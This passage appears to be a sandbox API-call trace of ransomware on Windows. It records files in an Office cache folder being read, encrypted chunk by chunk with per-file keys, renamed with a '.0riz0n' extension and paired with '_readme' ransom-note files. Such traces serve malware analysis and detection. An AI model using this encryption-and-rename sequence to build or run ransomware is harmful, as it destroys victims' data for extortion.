returned 1 [0245.822] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xa00000 [0245.822] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0246.038] FlushFileBuffers (hFile=0x1c0) returned 1 [0246.225] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1400000 [0246.225] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0246.225] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0246.723] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0247.039] ExQueueWorkItem (in: WorkItem=0xfffffa800197b240*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa800197fe35, Parameter=0xfffffa800197b000), QueueType=0x1 | out: WorkItem=0xfffffa800197b240*(List.Flink=0xfffff80002a2e670, List.Blink=0xfffff80002a2ffc0, WorkerRoutine=0xfffffa800197fe35, Parameter=0xfffffa800197b000)) [0247.117] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0247.214] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x1400000 [0247.214] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0247.561] FlushFileBuffers (hFile=0x1c0) returned 1 [0248.012] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1e00000 [0248.012] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x48df80) returned 0x2d50020 [0248.012] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0x48df5c, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0x48df5c, lpOverlapped=0x0) returned 1 [0248.270] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x48df80) returned 0x31e0020 [0248.513] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x48df5c, dwBufLen=0x48e35c | out: pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x48df60) returned 1 [0248.848] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0248.848] NtClose (Handle=0x1c0) returned 0x0 [0248.848] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.0riz0n")) returned 1 [0248.849] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0248.849] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0248.849] GetLastError () returned 0x2 [0248.849] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984908, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0248.849] GetLastError () returned 0x2 [0248.849] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0248.850] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0248.850] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0248.851] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0248.851] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xb) returned 0xa9d630 [0248.851] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0248.851] NtClose (Handle=0x1c0) returned 0x0 [0248.851] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0248.851] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0248.851] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0248.851] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0248.941] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0248.941] CryptDestroyKey (hKey=0x829d78) returned 1 [0248.941] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0248.941] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0248.941] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0248.941] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0248.941] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a)) returned 1 [0248.990] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0248.990] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0248.990] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0248.990] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0248.990] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0248.990] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0248.991] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a)) returned 1 [0248.991] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0248.991] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0248.991] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0248.991] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0248.991] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0248.991] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a)) returned 1 [0248.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0248.991] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0248.991] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0248.991] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0248.991] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0248.991] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0248.991] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0248.991] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0248.992] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0248.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0248.992] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0248.992] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0248.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0248.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0248.992] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0248.992] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0248.992] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xaec40) returned 0x10f0020 [0248.993] ReadFile (in: hFile=0x1c0, lpBuffer=0x10f0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x10f0020*, lpNumberOfBytesRead=0x1a7fab0*=0xaec3a, lpOverlapped=0x0) returned 1 [0249.055] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xaec40) returned 0x1680020 [0249.141] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1680020*, pdwDataLen=0x1a7faac*=0xaec3a, dwBufLen=0xaf03a | out: pbData=0x1680020*, pdwDataLen=0x1a7faac*=0xaec40) returned 1 [0249.168] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0249.168] NtClose (Handle=0x1c0) returned 0x0 [0249.168] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.0riz0n")) returned 1 [0249.169] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n", dwFileAttributes=0x2020) returned 1 [0249.169] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0249.169] GetLastError () returned 0x2 [0249.169] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984928, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0249.169] GetLastError () returned 0x2 [0249.169] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0249.170] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0249.170] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0249.171] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0249.171] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xb) returned 0xa9d630 [0249.171] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cfe0 [0249.171] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9d630) returned 1 [0249.171] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cfe0) returned 1 [0249.171] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x2d1) returned 0xa7fc38 [0249.171] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0249.171] NtClose (Handle=0x1c0) returned 0x0 [0249.171] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0249.172] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0249.172] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0249.172] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x10f0020) returned 1 [0249.175] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0249.175] CryptDestroyKey (hKey=0x829d78) returned 1 [0249.175] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0249.175] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0249.175] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0249.175] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0249.175] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400)) returned 1 [0249.207] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0249.207] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0249.207] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0249.207] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0249.207] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0249.207] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0249.207] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0249.207] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400)) returned 1 [0249.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0249.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0249.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0249.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0249.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0249.208] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400)) returned 1 [0249.208] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0249.208] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0249.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0249.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0249.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0249.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0249.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0249.208] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0249.208] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0249.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0249.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0249.208] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0249.209] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0249.209] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0249.209] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0249.209] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0249.209] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0249.210] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0249.804] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0250.407] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0250.524] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0250.524] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0250.781] FlushFileBuffers (hFile=0x1c0) returned 1 [0250.914] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xa00000 [0250.921] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4c400) returned 0x1f60848 [0250.932] ReadFile (in: hFile=0x1c0, lpBuffer=0x1f60848, nNumberOfBytesToRead=0x4c400, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: 